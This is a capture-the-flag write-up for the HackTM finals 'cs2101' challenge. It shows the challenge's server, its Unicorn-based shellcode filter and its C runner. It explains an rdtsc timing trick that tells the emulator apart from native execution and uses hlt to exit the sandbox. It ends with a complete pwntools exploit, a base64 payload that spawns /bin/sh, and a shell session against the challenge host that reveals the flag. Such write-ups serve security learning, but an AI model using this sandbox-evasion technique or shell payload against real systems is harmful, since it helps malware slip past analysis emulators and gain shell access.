Tags: sandbox shellcoding unicorn
Rating:
# cs2101
`cs2101` is shellcoding / unicorn sandbox escape challenge I did during the [HackTM finals](https://ctfx.hacktm.ro/home).
## What we have
The challenge is splitted into three file: the server, the unicorn callback based checker and the final C program that runs the shellcode without any restrictions. Let's take a look at the server:
```py
#!/usr/bin/env python3
import os
import sys
import base64
import tempfile
from sc_filter import emulate
def main():
encoded = input("Enter your base64 encoded shellcode:\n")
encoded+= '======='
try:
shellcode = base64.b64decode(encoded)
except:
print("Error decoding your base64")
sys.exit(1)
if not emulate(shellcode):
print("I'm not letting you hack me again!")
return
with tempfile.NamedTemporaryFile() as f:
f.write(shellcode)
f.flush()
name = f.name
os.system("./emulate {}".format(name))
if __name__ == '__main__':
main()
```
The server is asking for a shellcode encoded in base64, then it is checking some behaviours of the shellcode by running it into unicorn through the `emulate` function and if it does not fail the shellcode is run by the `emulate` C program. Now let's take a quick look at the unicorn checker:
```py
#!/usr/bin/env python3
from unicorn import *
from unicorn.x86_const import *
# memory address where emulation starts
ADDRESS = 0x1000000
def main():
with open("sc.bin", "rb") as f:
code = f.read()
if emulate(code):
print("Done emulating. Passed!")
else:
print("Done emulating. Failed!")
def emulate(code):
try:
# Initialize emulator in X86-64bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_64)
# map memory
mu.mem_map(ADDRESS, 0x1000)
# shellcode to test
mu.mem_write(ADDRESS, code)
# initialize machine registers
mu.reg_write(UC_X86_REG_RAX, ADDRESS)
mu.reg_write(UC_X86_REG_RFLAGS, 0x246)
# initialize hooks
allowed = [True]
mu.hook_add(UC_HOOK_INSN, syscall_hook, allowed, 1, 0, UC_X86_INS_SYSCALL)
mu.hook_add(UC_HOOK_CODE, code_hook, allowed)
# emulate code in infinite time & unlimited instructions
mu.emu_start(ADDRESS, ADDRESS + len(code))
return allowed[0]
except UcError as e:
print("ERROR: %s" % e)
def syscall_hook(mu, user_data):
# Syscalls are dangerous!
print("not allowed to use syscalls")
user_data[0] = False
def code_hook(mu, address, size, user_data):
inst = mu.mem_read(address, size)
# CPUID (No easy wins here!)
if inst == b'\x0f\xa2':
user_data[0] = False
print("CPUID")
if __name__ == '__main__':
main()
```
To succeed the check in the server our shellcode should match several conditions: first there should not be any syscalls / `cpuid` instructions, then it should exit (and return allowed[0] === true) without triggering an exception not handled by unicorn (for example `SIGSEGV` or an interrupt not handled like `int 0x80`. And if it does so the shellcode is ran by this program:
```c
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#define ADDRESS ((void*)0x1000000)
/* gcc emulate.c -o emulate -masm=intel */
int main(int argc, char **argv) {
if (argc < 2) {
fprintf(stderr, "Usage: %s <filename>\n", argv[0]);
exit(EXIT_FAILURE);
}
void *code = mmap(ADDRESS, 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (code == MAP_FAILED) {
perror("mmap");
exit(EXIT_FAILURE);
}
char *filename = argv[1];
int fd = open(filename, O_RDONLY);
if (fd == -1) {
perror("open");
exit(EXIT_FAILURE);
}
read(fd, code, 0x1000);
close(fd);
__asm__ volatile (
"lea rcx, [rsp-0x1800]\n\t"
"fxrstor [rcx]\n\t"
"xor rbx, rbx\n\t"
"xor rcx, rcx\n\t"
"xor rdx, rdx\n\t"
"xor rdi, rdi\n\t"
"xor rsi, rsi\n\t"
"xor rbp, rbp\n\t"
"xor rsp, rsp\n\t"
"xor r8, r8\n\t"
"xor r9, r9\n\t"
"xor r10, r10\n\t"
"xor r11, r11\n\t"
"xor r12, r12\n\t"
"xor r13, r13\n\t"
"xor r14, r14\n\t"
"xor r15, r15\n\t"
"jmp rax\n\t"
:
: "a" (code)
:
);
}
```
If we succeed to run the shellcode within this program we could easily execute syscalls and then drop a shell.
## Bypass the sandbox
The first step is to make our shellcode aware of the environment inside which it is running. A classic trick to achieve this is to use the `rdtsc` instruction ([technical spec here](https://www.felixcloutier.com/x86/rdtsc)). According to the documentation, it:
> Reads the current value of the processor’s time-stamp counter (a 64-bit MSR) into the EDX:EAX registers. The EDX register is loaded with the high-order 32 bits of the MSR and the EAX register is loaded with the low-order 32 bits. (On processors that support the Intel 64 architecture, the high-order 32 bits of each of RAX and RDX are cleared.)
Given within a debugger / emulator (depends on what is hooked actually, in an emulator it could be easily handled) the time between the execution of two instructions is very long we could check that the shellcode is ran casually by the C program without being hooked at each instruction (as it is the case in the unicorn sandbox) just by checking that the amount of time between two instructions is way shorter than in the sandbox. This way we can trigger a different code path in the shellcode according to the environment inside which it is run.
The second step is about being able to leave the sandbox without any syscalls with a handled exception that will not throw an error. By reading the unicorn source code for a while I saw a comment that talked about the `hlt` instruction, then I tried to use it to shutdown the shellcode when it is run by the sandbox and it worked pretty good.
## PROFIT
Putting it all together we manage to get the flag:
```
[root@(none) chal]# nc 34.141.16.87 10000
Enter your base64 encoded shellcode:
DzFJicBIweIgSQnQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQDzFJicFIweIgSQnRTSnBSYH5AAEAAH8JSMfAagAAAf/g9EjHxAAAAAFIgcQABQAAamhIuC9iaW4vLy9zUEiJ52hyaQEBgTQkAQEBATH2VmoIXkgB5lZIieYx0mo7WA8F
id
uid=1000(user) gid=1000(user) groups=1000(user)
ls
emulate
flag.txt
requirements.txt
run
sc_filter.py
server.py
cat flag.txt
HackTM{Why_can't_you_do_your_homework_normally...}
```
## Final exploit
Final epxloit:
```py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# this exploit was generated via
# 1) pwntools
# 2) ctfmate
import os
import time
import pwn
BINARY = "emulate"
LIBC = "/usr/lib/libc.so.6"
LD = "/lib64/ld-linux-x86-64.so.2"
# Set up pwntools for the correct architecture
exe = pwn.context.binary = pwn.ELF(BINARY)
libc = pwn.ELF(LIBC)
ld = pwn.ELF(LD)
pwn.context.terminal = ["tmux", "splitw", "-h"]
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False
p64 = pwn.p64
u64 = pwn.u64
p32 = pwn.p32
u32 = pwn.u32
p16 = pwn.p16
u16 = pwn.u16
p8 = pwn.p8
u8 = pwn.u8
host = pwn.args.HOST or '127.0.0.1'
port = int(pwn.args.PORT or 1337)
FILENAME = "shellcode"
def local(argv=["shellcode"], *a, **kw):
'''Execute the target binary locally'''
if pwn.args.GDB:
return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return pwn.process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = pwn.connect(host, port)
if pwn.args.GDB:
pwn.gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if pwn.args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
gdbscript = '''
continue
'''.format(**locals())
import base64
def exp():
f = open("shellcode", "wb")
shellcode = pwn.asm(
"rdtsc\n"
"mov r8, rax\n"
"shl rdx, 32\n"
"or r8, rdx\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"rdtsc\n"
"mov r9, rax\n"
"shl rdx, 32\n"
"or r9, rdx\n"
"sub r9, r8\n"
"cmp r9, 0x100\n"
"jg sandbox\n"
"mov rax, 0x100006a\n"
"jmp rax\n"
"sandbox:\n"
"hlt\n"
)
map_stack = pwn.asm("mov rsp, 0x1000000\n")
map_stack += pwn.asm("add rsp, 0x500\n")
shell = pwn.asm(pwn.shellcraft.amd64.linux.sh())
print(shellcode + map_stack + shell)
print(base64.b64encode(shellcode + map_stack + shell))
f.write(shellcode + map_stack + shell)
if __name__ == "__main__":
exp()